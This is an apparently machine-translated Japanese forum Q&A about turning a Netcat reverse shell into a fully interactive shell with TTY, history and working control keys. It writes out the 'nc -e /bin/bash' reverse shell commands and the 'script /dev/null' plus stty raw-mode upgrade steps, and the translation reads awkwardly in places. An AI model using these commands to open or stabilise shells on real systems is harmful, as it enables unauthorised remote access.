もともとNetcatシェルをタブ補完と行編集機能を含むすべての機能を備えたログインシェルにアップグレードするにはどうすればよいですか?
次のようにNetcatを使用してリモート(リバース)シェルを起動するとします。
nc -lvp $port
nc $ip $port -e '/bin/bash'
今私が得るのは、TTY、タブの完成、行の編集、または履歴のないシェルです。つまり、左、上、右、および下のキーボードキーは^[[D,^[[A,^[[C,^[[B
それぞれ、およびを生成し、それを押すと^C
シェルが終了します。
$ tty
not a tty
su
これで、同様のコマンドを実行できるようにシェルに対してPTYを起動するのが非常に簡単です。ただし、このシェルにはまだ通常のログインシェルで期待される基本機能がありません(上記を参照)。
可能であれば、Netcatで起動したシェルを通常のログインシェルに似たものにアップグレードするにはどうすればよいですか?手順を説明してください。
ベストアンサー1
すでに実行されているシェルは「アップグレード」できません。
しかし、あなたはできます。
a) ptyを作成し、その中で別のシェルを実行します。script /dev/null
b) あなたと遊ぶ地元のintr
ターミナルなので、eof
およびその他のキーを具体的に解釈せずにeol
渡します。
$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
[ncat -4 localhost 9999 -e /bin/bash in another terminal]
Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$
[press Control-Z]
[1]+ Stopped nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"
[press Enter]
bash-4.4$
[now history and control keys work as expected
you may also want to set the correct name with TERM=
and the correct size with stty rows R cols C
press Control-D to terminate the shell]
それにもかかわらず、このNetcatゲームは無意味で面白いです。誰が暗号化されていない接続を介してシェルセッションを実行したいですか?ssh
2019年にはこれが慣れました。